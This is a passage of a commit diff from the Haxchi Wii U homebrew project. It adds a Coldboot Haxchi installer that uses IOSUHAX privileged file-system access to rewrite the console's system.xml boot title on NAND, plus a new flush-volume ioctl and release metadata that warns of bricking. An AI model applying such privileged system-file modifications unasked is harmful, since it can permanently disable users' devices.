if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue;
|
||||
if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0)
|
||||
{
|
||||
xmlNodeSetContent(cur_node, (xmlChar*)new_title_id);
|
||||
idCorrect++;
|
||||
}
|
||||
idFound++;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(idFound != 1)
|
||||
println(line++,"default_title_id missing!");
|
||||
else if(idCorrect != 1)
|
||||
println(line++,"default_title_id not set to System Menu!");
|
||||
else
|
||||
{
|
||||
//back to xml
|
||||
xmlChar *newXml = NULL;
|
||||
int newSize = 0;
|
||||
xmlSaveNoEmptyTags = 0; //yep, different from meta.xml style
|
||||
xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0);
|
||||
xmlFreeDoc(doc);
|
||||
if(newXml != NULL && newSize > 0)
|
||||
{
|
||||
//libxml2 adds in extra \n at the end
|
||||
if(newXml[newSize-1] == '\n' && sysXmlBuf[sysXmlSize-1] != '\n')
|
||||
{
|
||||
newXml[newSize-1] = '\0';
|
||||
newSize--;
|
||||
}
|
||||
//write back to nand
|
||||
if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0)
|
||||
{
|
||||
println(line++,"Writing system.xml...");
|
||||
//UTF-8 BOM
|
||||
char bom[3] = { 0xEF, 0xBB, 0xBF };
|
||||
if(memcmp(newXml, bom, 3) != 0 && memcmp(sysXmlBuf, bom, 3) == 0)
|
||||
fsa_write(fsaFd, slcFd, bom, 0x03);
|
||||
fsa_write(fsaFd, slcFd, newXml, newSize);
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
|
||||
slcFd = -1;
|
||||
}
|
||||
free(newXml);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
free(sysXmlBuf);
|
||||
}
|
||||
println(line++,"Done installing CBHC!");
|
||||
#else
|
||||
println(line++,"Done installing Haxchi!");
|
||||
#endif
|
||||
|
||||
prgEnd:
|
||||
if(tList)
|
||||
@ -578,12 +826,16 @@ prgEnd:
|
||||
//close down everything fsa related
|
||||
if(fsaFd >= 0)
|
||||
{
|
||||
if(slcFd >= 0)
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
|
||||
if(mlcFd >= 0)
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, mlcFd);
|
||||
if(sdFd >= 0)
|
||||
IOSUHAX_FSA_CloseFile(fsaFd, sdFd);
|
||||
if(sdMounted)
|
||||
IOSUHAX_FSA_Unmount(fsaFd, sdCardVolPath, 2);
|
||||
if(IOSUHAX_FSA_FlushVolume(fsaFd, "/vol/storage_mlc01") == 0)
|
||||
println(line++, "Flushed NAND Cache!");
|
||||
IOSUHAX_FSA_Close(fsaFd);
|
||||
}
|
||||
//close out old mcp instance
|
||||
|
@ -61,6 +61,20 @@ int FSA_Unmount(int fd, char* path, u32 flags)
|
||||
return ret;
|
||||
}
|
||||
|
||||
int FSA_FlushVolume(int fd, char* volume_path)
|
||||
{
|
||||
u8* iobuf = allocIobuf();
|
||||
u32* inbuf = (u32*)iobuf;
|
||||
u32* outbuf = (u32*)&iobuf[0x520];
|
||||
|
||||
strncpy((char*)&inbuf[0x01], volume_path, 0x27F);
|
||||
|
||||
int ret = svcIoctl(fd, 0x1B, inbuf, 0x520, outbuf, 0x293);
|
||||
|
||||
freeIobuf(iobuf);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int FSA_MakeDir(int fd, char* path, u32 flags)
|
||||
{
|
||||
u8* iobuf = allocIobuf();
|
||||
|
@ -31,6 +31,7 @@ int FSA_Open();
|
||||
|
||||
int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len);
|
||||
int FSA_Unmount(int fd, char* path, u32 flags);
|
||||
int FSA_FlushVolume(int fd, char* volume_path);
|
||||
|
||||
int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data);
|
||||
|
||||
|
@ -70,6 +70,7 @@
|
||||
#define IOCTL_FSA_RAW_WRITE 0x56
|
||||
#define IOCTL_FSA_RAW_CLOSE 0x57
|
||||
#define IOCTL_FSA_CHANGEMODE 0x58
|
||||
#define IOCTL_FSA_FLUSHVOLUME 0x59
|
||||
|
||||
//static u8 threadStack[0x1000] __attribute__((aligned(0x20)));
|
||||
|
||||
@ -228,6 +229,14 @@ static int ipc_ioctl(ipcmessage *message)
|
||||
message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags);
|
||||
break;
|
||||
}
|
||||
case IOCTL_FSA_FLUSHVOLUME:
|
||||
{
|
||||
int fd = message->ioctl.buffer_in[0];
|
||||
char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1];
|
||||
|
||||
message->ioctl.buffer_io[0] = FSA_FlushVolume(fd, path);
|
||||
break;
|
||||
}
|
||||
case IOCTL_FSA_GETDEVICEINFO:
|
||||
{
|
||||
int fd = message->ioctl.buffer_in[0];
|
||||
|
BIN
release/cbhc/bootDrcTex.tga
Normal file
BIN
release/cbhc/bootDrcTex.tga
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.2 MiB |
BIN
release/cbhc/bootTvTex.tga
Normal file
BIN
release/cbhc/bootTvTex.tga
Normal file
Binary file not shown.
After Width: | Height: | Size: 2.6 MiB |
BIN
release/cbhc/iconTex.tga
Normal file
BIN
release/cbhc/iconTex.tga
Normal file
Binary file not shown.
After Width: | Height: | Size: 64 KiB |
1
release/cbhc/title.txt
Normal file
1
release/cbhc/title.txt
Normal file
@ -0,0 +1 @@
|
||||
CBHC
|
BIN
release/wiiu/apps/cbhc/icon.png
Normal file
BIN
release/wiiu/apps/cbhc/icon.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 4.9 KiB |
12
release/wiiu/apps/cbhc/meta.xml
Normal file
12
release/wiiu/apps/cbhc/meta.xml
Normal file
@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<app version="1">
|
||||
<name>CBHC</name>
|
||||
<coder>FIX94</coder>
|
||||
<version>1.0</version>
|
||||
<url>https://github.com/FIX94/haxchi</url>
|
||||
<release_date>20161210200000</release_date>
|
||||
<short_description>Coldboot Haxchi Installer</short_description>
|
||||
<long_description>WARNING! This will install Coldboot Haxchi on your system.
|
||||
ONLY USE THIS IF YOU ARE WILLING TO TAKE A RISK OF BRICKING YOUR CONSOLE.
|
||||
</long_description>
|
||||
</app>
|
@ -2,9 +2,9 @@
|
||||
<app version="1">
|
||||
<name>Haxchi</name>
|
||||
<coder>FIX94</coder>
|
||||
<version>2.2u1</version>
|
||||
<version>2.3</version>
|
||||
<url>https://github.com/FIX94/haxchi</url>
|
||||
<release_date>20161201200000</release_date>
|
||||
<release_date>20161210200000</release_date>
|
||||
<short_description>Haxchi Installer</short_description>
|
||||
<long_description>This will install Haxchi on your system.
|
||||
</long_description>
|
||||
|
Loading…
Reference in New Issue
Block a user